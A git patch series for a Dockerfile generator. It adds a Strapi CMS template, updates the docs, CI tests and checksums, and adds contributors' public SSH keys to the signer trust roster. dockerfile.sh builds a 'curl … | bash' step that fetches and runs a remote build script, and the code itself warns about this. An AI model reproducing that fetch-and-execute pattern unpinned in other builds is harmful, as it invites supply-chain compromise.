(`BaoNinh2808`/`brianw3b` publish + no SSH keys yet, so the generator skips them until they upload one.) - `generate-checksums.sh` — single source of truth for `checksum.sha256`; `security.sh` and `generate-ssh-allowed-signers.sh` delegate to it. - Trust-anchor drift report (GPG keys vs SSH signers) in @@ -65,7 +83,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/). - `SECURITY.md`, `CODEOWNERS`, this `CHANGELOG.md`, and an "Adding a new template" guide in `DOCKERFILE.md`. - CI: `.github/workflows/lint-and-test.yml` (shellcheck, `bash -n`, - checksum-freshness check, and `dockerfile.sh --dry-run` smoke tests). + checksum-freshness check, and `dockerfile.sh --dry-run` smoke tests). The smoke + matrix now also covers `strapi`, with an extra assertion that the template keeps + its glibc runner / corepack / `NODE_ENV=production` / `EXPOSE 1337` contract. ### Fixed - `build-prod-*.sh` only write `src/version.ts` when a `src/` directory exists diff --git a/DOCKERFILE.md b/DOCKERFILE.md index 702802c..80f1255 100644 --- a/DOCKERFILE.md +++ b/DOCKERFILE.md @@ -52,6 +52,7 @@ See [GitHub Actions Integration](#github-actions-integration) section below. | `node` | `node:24-alpine` | Node.js backend applications | | `next` | `node:24-alpine` | Next.js applications (SSR/SSG) | | `nginx` | `nginx:stable-alpine` | Static websites (React, Vue, HTML) | +| `strapi` | `node:22-trixie-slim` | Strapi headless CMS (glibc runner for `sharp`/`libvips`) | List all templates with details: @@ -63,7 +64,7 @@ List all templates with details: | Option | Description | Default | |--------|-------------|---------| -| `-t, --template TYPE` | Template type: `node`, `nginx`, `next` | Required | +| `-t, --template TYPE` | Template type: `node`, `nginx`, `next`, `strapi` | Required | | `-f, --file FILE` | File/directory to copy (repeatable) | None | | `-c, --command CMD` | Container CMD command | `["npm", "start"]` | | `-b, --build CMD` | Custom build command | Auto-detected | @@ -158,6 +159,44 @@ COPY --from=builder --chown=nginx:nginx build /usr/share/nginx/html --run "touch /run/nginx.pid && chown nginx:nginx /run/nginx.pid" ``` +### Strapi Headless CMS + +`strapi` defaults to the glibc runner `node:22-trixie-slim` (Strapi's native +`sharp`/`libvips` are built against glibc and break at runtime on Alpine/musl). It +enables `corepack` (Strapi ships Yarn 4 berry; the base image only carries Yarn 1), +sets `ENV NODE_ENV=production`, `EXPOSE 1337`, and defaults `CMD` to +`["npm", "run", "start"]`. + +If you pass no `-f`, it copies a sensible default runtime set: +`config src database public types dist .strapi tsconfig.json package.json +node_modules favicon.png`. `tsconfig.json` is **load-bearing** — Strapi reads its +`outDir` to locate the compiled server in `dist/`. + +```bash +# Use the built-in default copy set +./dockerfile.sh -t strapi + +# Or specify the copy set explicitly (equivalent to the default) +./dockerfile.sh -t strapi \ + -f config \ + -f src \ + -f database \ + -f public \ + -f types \ + -f dist \ + -f .strapi \ + -f tsconfig.json \ + -f package.json \ + -f node_modules \ + -f favicon.png +``` + +If you must override the runner image, keep it glibc-based: + +```bash +./dockerfile.sh -t strapi -r node:22-bookworm-slim +``` + ### Complex Example with All Options ```bash @@ -244,12 +283,12 @@ CMD ["npm", "start"] ### Default Values -| Setting | Builder | Runner (node/next) | Runner (nginx) | -|---------|---------|-------------------|----------------| -| Base Image | `orochinetwork/ubuntu:node` | `node:24-alpine` | `nginx:stable-alpine` | -| User | `ubuntu` | `node` | `nginx` | -| Group | `ubuntu` | `node` | `nginx` | -| Workdir | `/home/ubuntu/app` | `/home/node/app` | `/usr/share/nginx/html` | +| Setting | Builder | Runner (node/next) | Runner (nginx) | Runner (strapi) | +|---------|---------|-------------------|----------------|-----------------| +| Base Image | `orochinetwork/ubuntu:node` | `node:24-alpine` | `nginx:stable-alpine` | `node:22-trixie-slim` | +| User | `ubuntu` | `node` | `nginx` | `node` | +| Group | `ubuntu` | `node` | `nginx` | `node` | +| Workdir | `/home/ubuntu/app` | `/home/node/app` | `/usr/share/nginx/html` | `/home/node/app` | ### Template-Specific Features @@ -266,6 +305,22 @@ CMD ["npm", "start"] - Default CMD: `["nginx", "-g", "daemon off;"]` - Auto-defaults to copying `build/` to `/usr/share/nginx/html` if no files specified +#### Strapi (`-t strapi`) +- Runner defaults to **`node:22-trixie-slim`** (glibc — **required**: Strapi's + native `sharp`/`libvips` are built against glibc and break at runtime on + Alpine/musl). A `-r`/`RUNNER_IMAGE` override is still honored — keep it glibc. +- Enables `corepack` in both the builder and the runner (Strapi uses Yarn 4 berry; + the base image ships Yarn 1). +- Includes `ENV NODE_ENV=production` and `EXPOSE 1337` +- Default CMD: `["npm", "run", "start"]` +- Auto-defaults to copying `config src database public types dist .strapi + tsconfig.json package.json node_modules favicon.png` if no files specified. + `tsconfig.json` is load-bearing (Strapi reads its `outDir` to find `dist/`). +- Build script (`scripts/build-prod-strapi.sh`) runs an immutable install + (`yarn install --immutable`) then `yarn build` (= `strapi build`: admin panel + + server → `dist`). Unlike the node/next/nginx scripts it does **not** write + `src/version.ts` — Strapi owns its `src/` tree and type generation. + ## GitHub Actions Integration ### Using the Composite Action diff --git a/README.md b/README.md index d849c49..63b1bce 100644 --- a/README.md +++ b/README.md @@ -20,10 +20,11 @@ All repo must include `./scripts/build-prod.sh`, this will be used to build for ### Node.js Application -- `-t | --template`: Template to use, now we support `node`, `next` and `nginx` +- `-t | --template`: Template to use, now we support `node`, `next`, `nginx` and `strapi` - `node`: Using for Node.js application - `next`: Using for Next.js application - `nginx`: Using for React.js application or static website + - `strapi`: Using for Strapi headless CMS (glibc runner `node:22-trixie-slim`, EXPOSE 1337) - `-f | --file`: Selected file to copy - `-c | --command`: Command to be executed, default to `["npm", "start"]` diff --git a/checksum.sha256 b/checksum.sha256 index cc8496a..ac79452 100644 --- a/checksum.sha256 +++ b/checksum.sha256 @@ -1,11 +1,12 @@ 48f2d49fab1d7c52f6930bfb239874f1e61479210ceb260d0e2dd9a54c2877e6 ./gpg-list.asc 5b7f96cd62b02c59adb90159877bd61230c3d95eca3e19a1c4e5dfb4140a986c ./scripts/build-prod-next.sh 73d342c47d7a883c74fab489dda45718940343b95e21afd2649383b05c483415 ./ssh-allowed-signers -7579650b53d1680b668de0db9c3c4eb4b7cb3f6a8c314164406a876f1c2cdedd ./dockerfile.sh 8334d814926b6f9368315606199db972f320d98bc997833eaabd5864fdad3a90 ./check-ssh.sh 9dbf9d726d881c43729954f9a29777c0e17d84755c9c32c2fc72a0df39f335cb ./Dockerfile.template aad9d75f80076441f3164f81fb9fca4f4d55ec3c021129cad29633d89b24170d ./scripts/build-prod-nginx.sh +bdc96fc881ead2f46142e0686338ced2246a3e7d5ff71b42a3e006052d7d0a46 ./scripts/build-prod-strapi.sh d1ab36d76bf4b3b4fb1d39a3daa02d679358fba2f884c61f5d64e9c764236edb ./check-gpg.sh ece9b5c612ffff561d0a3b0a5fc7a28ef477ccf13e79da3fdc5460c96eced306 ./scripts/build-prod-node.sh +ed0176097d1deec18a97dffdc36cc722ceaf0fce577a5186ba7c935e776b7477 ./dockerfile.sh f15c4e8e374105e07ab7de3cf94e3ec6aaccd02a76ca9907368782612bc7e50f ./configs/nginx.conf fcf790d01c0ccde52a74a4fa49df33ba9a0f6210868dfa7895048a58bd613710 ./generate-yarn-npm.sh diff --git a/dockerfile.sh b/dockerfile.sh index 2f75675..a37928d 100755 --- a/dockerfile.sh +++ b/dockerfile.sh @@ -46,7 +46,7 @@ UNKNOWN_ARGS=() # Templates that this script knows how to generate. Add new templates here and # extend the "Template-specific overrides" case below. See DOCKERFILE.md. -SUPPORTED_TEMPLATES=("node" "nginx" "next") +SUPPORTED_TEMPLATES=("node" "nginx" "next" "strapi") show_help() { cat </dev/null || echo "") +APP_VERSION="${REV} (${TAG:-undefined})" + +echo "Building: ${APP_VERSION}" + +# Enable corepack so the project's pinned package manager (Strapi ships Yarn 4 +# berry; the base image only ships Yarn 1) is the one that runs the build. +corepack enable + +# Immutable install (Yarn 4 berry equivalent of --frozen-lockfile): fail if the +# lockfile would have to change. `yarn build` runs `strapi build`, which compiles +# the admin panel and the server (TypeScript → dist, per tsconfig.json outDir). +yarn install --immutable +yarn build + +echo "Completed: ${APP_VERSION}" From c01c036705b87895edbe5369493070c8d1fd88c9 Mon Sep 17 00:00:00 2001 From: Chiro Hiro Date: Fri, 5 Jun 2026 14:27:27 +0700 Subject: [PATCH 4/5] chore(trust): reconcile ssh-allowed-signers with gpg-list The SSH signer roster had 4 users while the GPG allowlist (gpg-list.asc / gpg/*.asc) holds 13 keys. Expand GITHUB_USERS so the SSH side mirrors the GPG side for active contributors. Every name added below already holds a GPG key in the trust anchor AND is an active orochi-network/dev-off contributor: alothanhh, BaoNinh2808, brianw3b, CaoHoaiTan, harris1111, hungnguyen18, ngotrongphuc, nguyendinhthang3101, SangTran-127, ThanhNguyen03, wonrax No one was removed. BaoNinh2808 and brianw3b currently publish no SSH keys on GitHub, so the generator skips them with a warning until they upload one; they are kept in the list so the rosters stay in parity. The gpg/Github.asc entry is the GitHub web-flow signing bot and is intentionally not an SSH signer. Trust-list additions are a security boundary and require human review before merge. --- checksum.sha256 | 2 +- generate-ssh-allowed-signers.sh | 16 +++++++++++++++ ssh-allowed-signers | 35 +++++++++++++++++++++++++++++++++ 3 files changed, 52 insertions(+), 1 deletion(-) diff --git a/checksum.sha256 b/checksum.sha256 index ac79452..38a0975 100644 --- a/checksum.sha256 +++ b/checksum.sha256 @@ -1,6 +1,6 @@ +1e0c7cc14593577dcbd2b343f39a87120bc42482f25df215c52a9373029dbd4a ./ssh-allowed-signers 48f2d49fab1d7c52f6930bfb239874f1e61479210ceb260d0e2dd9a54c2877e6 ./gpg-list.asc 5b7f96cd62b02c59adb90159877bd61230c3d95eca3e19a1c4e5dfb4140a986c ./scripts/build-prod-next.sh -73d342c47d7a883c74fab489dda45718940343b95e21afd2649383b05c483415 ./ssh-allowed-signers 8334d814926b6f9368315606199db972f320d98bc997833eaabd5864fdad3a90 ./check-ssh.sh 9dbf9d726d881c43729954f9a29777c0e17d84755c9c32c2fc72a0df39f335cb ./Dockerfile.template aad9d75f80076441f3164f81fb9fca4f4d55ec3c021129cad29633d89b24170d ./scripts/build-prod-nginx.sh diff --git a/generate-ssh-allowed-signers.sh b/generate-ssh-allowed-signers.sh index c83be41..aad4cca 100755 --- a/generate-ssh-allowed-signers.sh +++ b/generate-ssh-allowed-signers.sh @@ -16,6 +16,22 @@ GITHUB_USERS=( chiro-hiro bao-ninh-orochi chirojr + # Reconciled with gpg-list.asc / gpg/*.asc: every name below holds a GPG key in + # the trust anchor AND is an active orochi-network/dev-off contributor. Added so + # the SSH signer roster mirrors the GPG allowlist. (BaoNinh2808 and brianw3b + # currently publish no SSH keys on GitHub; the generator skips them with a + # warning until they upload one — kept here so the rosters stay in parity.) + alothanhh + BaoNinh2808 + brianw3b + CaoHoaiTan + harris1111 + hungnguyen18 + ngotrongphuc + nguyendinhthang3101 + SangTran-127 + ThanhNguyen03 + wonrax ) OUTPUT="ssh-allowed-signers" diff --git a/ssh-allowed-signers b/ssh-allowed-signers index 3910cc4..25c5145 100644 --- a/ssh-allowed-signers +++ b/ssh-allowed-signers @@ -16,3 +16,38 @@ # chirojr * ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHeuJY1wp6wqkMMBpfzeXbTQQ+LzCfTDd5itZUw7EABE + +# alothanhh +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC7SuM8jK/uIMULlWDl3xdRd7xkHc1N8DDUzMDzzOqTH +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILp15E5c+CD3PmWQlNKN4EokcpoKxubx5rQS13qFqOvm + +# CaoHoaiTan +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDf7Nx1lsg9K7eydYTNp5PuHf7S0SkEqSp2dfuh5nwkQ + +# harris1111 +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFBWpLExw+RIimAb8KsVE49CDfa0DdtDmDwuhI8yVkQI +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIODd5Ac7ZB/XmXlzMsQFRpxuTt62dFlu036sZSfLFTce +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHlScWuUnZr6C02vcPmbfBMnArel7eyJm4C0XbAMf3xC +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIACBanKWafregVazSjtsE4hese5Qs6y5IW448yYMEvar +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFGAGL5tSKmqqrvCr623lfWKiNFjKFPDKq2lrBTdAxOZ +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH+s+qV9Wai0hCjWnct41iGe1eP9Thf5hD2F3hdQcykg + +# hungnguyen18 +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII8W78GiWNeB6INbNAtMxNf+Zqj7GhrBac2hF/PWcihi + +# ngotrongphuc +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPD3qCwoTYgMJ8LfMe888K9nEmpjHgRDlDVNZ7Trkr7I + +# nguyendinhthang3101 +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINgPmlF2v641A7NUmWHCNKFfQAyKU6jEVWCltB8tytnR +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDPMyPOSuHNKYG+kReALihYV2tt160Nzn3C0zRccdaQR + +# SangTran-127 +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHXNybB1GHE4ODGcUGmaepsWngCKOJofb0A6S9Cjaa7h +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBaszZ8y5ycn94a2Fo0lgTXE5Vdq8IadrXxl0N8GuuVR + +# ThanhNguyen03 +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBtJ799DON1dmhj7EsP2sh+QqKojTw3th2LyXERVZiP3 + +# wonrax +* ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILcVnyW/bNR+hbNQ4utoprtSm8ONNFMER9lgLT9u9rVu From 046bdb1f21e875f3de2e0db5c674ae5c9dfa39ce Mon Sep 17 00:00:00 2001 From: Chiro Hiro Date: Fri, 5 Jun 2026 15:41:17 +0700 Subject: [PATCH 5/5] refactor(template): strapi reuses build-prod-node.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A Strapi build is a node build (frozen-lockfile install + `yarn build`, which runs `strapi build`), so the dedicated scripts/build-prod-strapi.sh was redundant: - corepack was enabled twice: dockerfile.sh already emits a dedicated `RUN corepack enable` builder layer for the strapi template, so the build script did not need to. - `yarn install --frozen-lockfile` (build-prod-node.sh) is a backward-compat alias for `--immutable` on Yarn 4 — same behavior, only a cosmetic YN0050 notice — so the `--immutable` difference was not load-bearing. - the `src/version.ts` write in build-prod-node.sh is already guarded by an `if [ -d src ]` check and is a consistent feature every node-family consumer gets; skipping it for strapi was an unnecessary inconsistency. Remove scripts/build-prod-strapi.sh and point the strapi template at the shared build-prod-node.sh via a new BUILD_SCRIPT_TEMPLATE indirection (defaults to the template name; strapi sets it to `node`). node/next/nginx behavior is unchanged. The Strapi-specific bits (glibc runner node:22-trixie-slim, corepack builder layer, default copy set, NODE_ENV/EXPOSE/CMD) stay in the dockerfile.sh case block. Update the CI smoke matrix to assert the strapi Dockerfile fetches build-prod-node.sh and references no build-prod-strapi.sh; refresh checksum.sha256 (now 11 files); update DOCKERFILE.md and CHANGELOG.md. --- .github/workflows/lint-and-test.yml | 4 ++++ CHANGELOG.md | 20 ++++++++++---------- DOCKERFILE.md | 10 ++++++---- checksum.sha256 | 3 +-- dockerfile.sh | 18 ++++++++++++++++-- generate-checksums.sh | 1 - scripts/build-prod-strapi.sh | 28 ---------------------------- 7 files changed, 37 insertions(+), 47 deletions(-) delete mode 100755 scripts/build-prod-strapi.sh diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index a45e44e..36b31e8 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -89,6 +89,10 @@ jobs: echo "$out" | grep -q '^RUN corepack enable' || { echo "::error::strapi: missing corepack enable"; exit 1; } echo "$out" | grep -q '^EXPOSE 1337' || { echo "::error::strapi: missing EXPOSE 1337"; exit 1; } echo "$out" | grep -qF 'CMD ["npm", "run", "start"]' || { echo "::error::strapi: wrong CMD"; exit 1; } + # A Strapi build IS a node build: it reuses the shared build-prod-node.sh + # and must NOT reference a strapi-specific build script. + echo "$out" | grep -q 'scripts/build-prod-node\.sh' || { echo "::error::strapi: must reuse build-prod-node.sh"; exit 1; } + echo "$out" | grep -q 'build-prod-strapi\.sh' && { echo "::error::strapi: must not reference build-prod-strapi.sh"; exit 1; } # An -r override must still win over the glibc default. ./dockerfile.sh -t strapi -r node:22-bookworm-slim -f package.json --dry-run \ | grep -q '^FROM node:22-bookworm-slim AS runner' || { echo "::error::strapi: -r override not honored"; exit 1; } diff --git a/CHANGELOG.md b/CHANGELOG.md index e5b2675..0af7109 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -58,17 +58,17 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/). being dash. ### Added -- **`strapi` template** (`dockerfile.sh` + `scripts/build-prod-strapi.sh`): builds a - Strapi headless CMS. Builder `orochinetwork/ubuntu:node`; runner defaults to the - glibc image **`node:22-trixie-slim`** (required — Strapi's native `sharp`/`libvips` - break on Alpine/musl), still overridable via `-r`/`RUNNER_IMAGE`. Enables - `corepack` (Yarn 4 berry), sets `NODE_ENV=production`, `EXPOSE 1337`, defaults - `CMD` to `["npm", "run", "start"]`, and copies a sensible runtime set +- **`strapi` template** (`dockerfile.sh`): builds a Strapi headless CMS. Builder + `orochinetwork/ubuntu:node`; runner defaults to the glibc image + **`node:22-trixie-slim`** (required — Strapi's native `sharp`/`libvips` break on + Alpine/musl), still overridable via `-r`/`RUNNER_IMAGE`. Enables `corepack` + (Yarn 4 berry), sets `NODE_ENV=production`, `EXPOSE 1337`, defaults `CMD` to + `["npm", "run", "start"]`, and copies a sensible runtime set (`config src database public types dist .strapi tsconfig.json package.json - node_modules favicon.png`) when no `-f` is given. The build script runs - `yarn install --immutable && yarn build`; it intentionally does **not** write - `src/version.ts` (Strapi owns its `src/` tree). Covered by `checksum.sha256` and - exercised by the CI dry-run smoke matrix. + node_modules favicon.png`) when no `-f` is given. A Strapi build is a node build, + so the template **reuses the shared `scripts/build-prod-node.sh`** (via a + `BUILD_SCRIPT_TEMPLATE` indirection) rather than carrying a duplicate build + script. Exercised by the CI dry-run smoke matrix. - **Trust roster reconciliation:** `generate-ssh-allowed-signers.sh`'s `GITHUB_USERS` now mirrors the GPG allowlist (`gpg-list.asc` / `gpg/*.asc`). Added the active orochi-network/dev-off contributors that already hold a GPG key: diff --git a/DOCKERFILE.md b/DOCKERFILE.md index 80f1255..58e6da1 100644 --- a/DOCKERFILE.md +++ b/DOCKERFILE.md @@ -316,10 +316,12 @@ CMD ["npm", "start"] - Auto-defaults to copying `config src database public types dist .strapi tsconfig.json package.json node_modules favicon.png` if no files specified. `tsconfig.json` is load-bearing (Strapi reads its `outDir` to find `dist/`). -- Build script (`scripts/build-prod-strapi.sh`) runs an immutable install - (`yarn install --immutable`) then `yarn build` (= `strapi build`: admin panel + - server → `dist`). Unlike the node/next/nginx scripts it does **not** write - `src/version.ts` — Strapi owns its `src/` tree and type generation. +- **Reuses the shared `scripts/build-prod-node.sh`** — a Strapi build is a node + build (frozen-lockfile install + `yarn build`, which runs `strapi build`: + admin panel + server → `dist`). There is intentionally no + `build-prod-strapi.sh`; the Strapi-specific bits (glibc runner, corepack layer, + copy set, `NODE_ENV`/`EXPOSE`/`CMD`) live in the `dockerfile.sh` template, not + in the build script. ## GitHub Actions Integration diff --git a/checksum.sha256 b/checksum.sha256 index 38a0975..ea6626e 100644 --- a/checksum.sha256 +++ b/checksum.sha256 @@ -2,11 +2,10 @@ 48f2d49fab1d7c52f6930bfb239874f1e61479210ceb260d0e2dd9a54c2877e6 ./gpg-list.asc 5b7f96cd62b02c59adb90159877bd61230c3d95eca3e19a1c4e5dfb4140a986c ./scripts/build-prod-next.sh 8334d814926b6f9368315606199db972f320d98bc997833eaabd5864fdad3a90 ./check-ssh.sh +89d4d141e77c525d43564e72a477cc4dcacae10624b81b9521ed3050be2c0494 ./dockerfile.sh 9dbf9d726d881c43729954f9a29777c0e17d84755c9c32c2fc72a0df39f335cb ./Dockerfile.template aad9d75f80076441f3164f81fb9fca4f4d55ec3c021129cad29633d89b24170d ./scripts/build-prod-nginx.sh -bdc96fc881ead2f46142e0686338ced2246a3e7d5ff71b42a3e006052d7d0a46 ./scripts/build-prod-strapi.sh d1ab36d76bf4b3b4fb1d39a3daa02d679358fba2f884c61f5d64e9c764236edb ./check-gpg.sh ece9b5c612ffff561d0a3b0a5fc7a28ef477ccf13e79da3fdc5460c96eced306 ./scripts/build-prod-node.sh -ed0176097d1deec18a97dffdc36cc722ceaf0fce577a5186ba7c935e776b7477 ./dockerfile.sh f15c4e8e374105e07ab7de3cf94e3ec6aaccd02a76ca9907368782612bc7e50f ./configs/nginx.conf fcf790d01c0ccde52a74a4fa49df33ba9a0f6210868dfa7895048a58bd613710 ./generate-yarn-npm.sh diff --git a/dockerfile.sh b/dockerfile.sh index a37928d..2613303 100755 --- a/dockerfile.sh +++ b/dockerfile.sh @@ -32,6 +32,11 @@ RUNNER_WORKDIR="/home/node/app" # CLI variables # ============================================================================ DOCKER_TEMPLATE="" +# Which remote build script the generated Dockerfile fetches +# (build-prod-${BUILD_SCRIPT_TEMPLATE}.sh). Defaults to the template name; a +# template whose build is identical to another's can point at the shared script +# (e.g. strapi reuses build-prod-node.sh). Set in the per-template case block. +BUILD_SCRIPT_TEMPLATE="" DOCKER_FILE=() DOCKER_COMMAND="[\"npm\", \"start\"]" BUILD_COMMAND="" @@ -266,6 +271,9 @@ check_file() { # ============================================================================ # Template-specific overrides # ============================================================================ +# Default the remote build script to this template's own; a case branch may +# repoint it at a shared script. +BUILD_SCRIPT_TEMPLATE="$DOCKER_TEMPLATE" case "$DOCKER_TEMPLATE" in node) RUNNER_BASE_IMAGE="${RUNNER_IMAGE:-node:24-alpine}" @@ -303,8 +311,14 @@ strapi) # tooling at runtime. EXTRA_ENV=$'\nENV NODE_ENV=production' # The base image ships Yarn 1; Strapi projects use Yarn 4 berry, so corepack - # must be enabled to run the pinned package manager. + # must be enabled to run the pinned package manager. corepack is enabled by the + # dedicated builder RUN layer (COREPACK_ENABLE) before the build script runs. COREPACK_ENABLE="corepack enable" + # A Strapi build IS a node build: immutable install + `yarn build` (which runs + # `strapi build`). Reuse the shared build-prod-node.sh instead of a duplicate + # per-template script. The Strapi-specific bits (glibc runner, corepack layer, + # copy set, NODE_ENV/EXPOSE/CMD) all live in this case block. + BUILD_SCRIPT_TEMPLATE="node" DOCKER_COMMAND="[\"npm\", \"run\", \"start\"]" EXPOSE_PORT=$'\nEXPOSE 1337' # Sensible default runtime copy set for a built Strapi app (overridable via -f). @@ -367,7 +381,7 @@ generate_build_command() { echo " will fetch and execute the build script from dev-off at build time." >&2 echo " Pin BASE_REVISION to a commit SHA, or commit scripts/build-prod.sh," >&2 echo " to avoid trusting a moving branch. See SECURITY.md." >&2 - local build_script="${BASE_URL}/scripts/build-prod-${DOCKER_TEMPLATE}.sh" + local build_script="${BASE_URL}/scripts/build-prod-${BUILD_SCRIPT_TEMPLATE}.sh" inner="curl -fsSL ${build_script} | bash -eo pipefail" fi diff --git a/generate-checksums.sh b/generate-checksums.sh index 1bbb23b..3b36f57 100755 --- a/generate-checksums.sh +++ b/generate-checksums.sh @@ -32,7 +32,6 @@ FILES=( scripts/build-prod-node.sh scripts/build-prod-next.sh scripts/build-prod-nginx.sh - scripts/build-prod-strapi.sh # Trust allowlists gpg-list.asc ssh-allowed-signers diff --git a/scripts/build-prod-strapi.sh b/scripts/build-prod-strapi.sh deleted file mode 100755 index fb1ea74..0000000 --- a/scripts/build-prod-strapi.sh +++ /dev/null @@ -1,28 +0,0 @@ -#!/bin/bash - -# On error exit -set -euo pipefail - -git config --global --add safe.directory /home/ubuntu/app - -# Compute version info (logged only — unlike the node/next/nginx scripts this -# deliberately does NOT write src/version.ts. Strapi owns its own src/ tree and -# generates a typed project from it; injecting a version.ts there is both -# unnecessary and risks clashing with Strapi's own type generation.) -REV=$(git rev-parse --short HEAD) -TAG=$(git tag --points-at HEAD 2>/dev/null || echo "") -APP_VERSION="${REV} (${TAG:-undefined})" - -echo "Building: ${APP_VERSION}" - -# Enable corepack so the project's pinned package manager (Strapi ships Yarn 4 -# berry; the base image only ships Yarn 1) is the one that runs the build. -corepack enable - -# Immutable install (Yarn 4 berry equivalent of --frozen-lockfile): fail if the -# lockfile would have to change. `yarn build` runs `strapi build`, which compiles -# the admin panel and the server (TypeScript → dist, per tsconfig.json outDir). -yarn install --immutable -yarn build - -echo "Completed: ${APP_VERSION}"